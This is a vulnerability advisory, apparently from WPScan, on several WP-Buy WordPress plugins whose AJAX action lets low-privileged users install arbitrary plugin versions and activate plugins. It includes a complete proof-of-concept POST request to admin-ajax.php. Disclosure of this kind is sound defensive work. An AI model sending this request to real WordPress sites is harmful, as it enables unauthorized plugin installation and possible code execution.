Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via Low Privilege User

2021-04-2200:00:00

Bugbang

116

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Low privileged users could use the AJAX action “cp_plugins_do_button_job_later_callback” from multiple plugins of the WP-Buy vendor, to install any plugin (including a specific version) from the WordPress repository, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE. Note (WPScanTeam): The same AJAX action could also be used to activate installed plugins on the blog.

Vulnerable code : 
 cp_plugins_do_button_job_later_callback() method in settings-start-index.php file

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: [Low Privilege User cookie]
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

action=do_button_job_later&slug=plugin_slug.version


To activate installed plugins, use the same request, but with the plugin_file instead of slug parameter

References

plugins.trac.wordpress.org/changeset/2494586/

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Related for WPEX-ID:74889E29-5349-43D1-BAF5-1622493BE90C